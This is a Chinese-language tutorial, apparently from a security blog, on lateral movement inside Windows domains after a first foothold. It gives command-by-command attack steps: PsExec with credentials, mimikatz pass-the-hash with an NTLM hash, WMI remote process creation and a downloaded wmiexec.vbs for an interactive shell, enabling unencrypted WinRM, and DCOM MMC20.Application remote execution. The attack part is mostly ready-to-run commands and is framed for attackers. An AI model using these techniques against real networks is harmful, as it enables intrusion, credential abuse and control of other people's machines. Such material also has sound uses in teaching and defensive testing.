横向移动是指当攻击者在内部网络中获得初始访问权限以后,通过扫描,口令爆破,smb传递等技术扩大敏感数据和高价值资产权限并通过受攻击网络环境中移动的行为。通常在域渗透中有pth(pass the hash),ptk(pass the key)和ptt(pass the ticket)等方式。
0x01 psexec横移
windows SysinternalsSuite攻击套件中的一员,由于文件拥有微软的签名,所以很多杀软都会放行,但是行为很容易检测。metasploit中也集成了psexec工具模块,其实原理是一样的。
使用:PsExec64.exe \\HOST -u USERNAME -p PASSWORD COMMAND
通过数据包可以发现psexec工具在横向移动中会释放PSEXESVC文件,以此创建pipe服务。
wireshark.png
0x02 mimikatz pth横移
mimikatz在域中可以称之为渗透利器,本文单独介绍pth的功能,其他功能可以自行探索,利用sekurlsa PTH模块可以完成hash传递过程,执行完成后会打开一个具有指定账号权限的cmd。
使用:sekurlsa::pth /user:USERNAME /domain:DOMAIN_NAME /ntlm:NTLM_HASH
使用域管理员hash进行横向移动,dir到域控文件共享目录
域控.png
0x03 WMI横向移动
WMI,是Windows 2K/XP管理系统的核心;对于其他的Win32操作系统,WMI是一个有用的插件。WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API。如今大部分WINDOWS版本的机器都内置了WMI组件,所以利用WMI横向移动是一件很方便的事情。
使用: wmic /node:IP /user:USERNAME /password:PASSWORD process list brief
执行命令: wmic /node:IP /user:USERNAME /password:PASSWORD process call create "cmd.exe /c tasklist"
执行命令结果是不回显的,则可以通过带外的方式或者直接启动一个msf或cs会话
也可以用vbs脚本执行WMI横向移动,执行成功后会获得一个交互式shell
下载地址: https://raw.githubusercontent.com/Lucifer1993/PLtools/main/wmiexec.vbs
cscript wmiexec.vbs /shell IP USERNAME PASSWORD
0x04 WinRM横向移动
Windows 远程管理 (WinRM) 是微软对 WS-Management Protocol(Web Services for Management aka WSMan)的实现,这是一种基于标准简单对象访问协议 (SOAP) 的防火墙友好协议,它允许来自不同硬件和操作系统的供应商,进行互操作。WinRM HTTP 通信通过 TCP 端口 5985 进行,HTTPS (TLS) 通信通过 TCP 端口 5986 进行。WinRM 本身支持 NTLM 和 Kerberos(域)身份验证。初始身份验证后,WinRM 会话受 AES 加密保护。
利用winrs.exe内建命令可以操作winrm,示例如下:
WinRM配置
查看WinRM启动状态: winrm enumerate winrm/config/listener
快速配置WinRM: winrm quickconfig
配置WinRM启用非加密模式:winrm set winrm/config/Client @{AllowUnencrypted = "true"}
powershell下启动WinRM: Enable-PSRemoting -Force
服务端端开启WinRM服务后通过winrs执行远程命令,可以选择http或https的方式
0x05 利用Dcom组件横向移动
DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。DCOM基于组件对象模型(COM),COM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95或者其后的版本上)。
简单来说就是微软为了处理不同网络之间的通信而设计的扩展API对象,那如何查看计算机中的DCOM组件呢?使用下面命令:
dcomcnfg
或者powershell下执行:
Get-CimInstance Win32_DCOMApplication
并不是所有dcom组件都可以执行命令,目前网络上大多使用的是MMC20.APPLICATION来进行横向移动。查看MMC DCom组件详细信息:
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}
执行远程命令:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.92.XXX.XX")).Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname calc.exe","7")
process.png
网友评论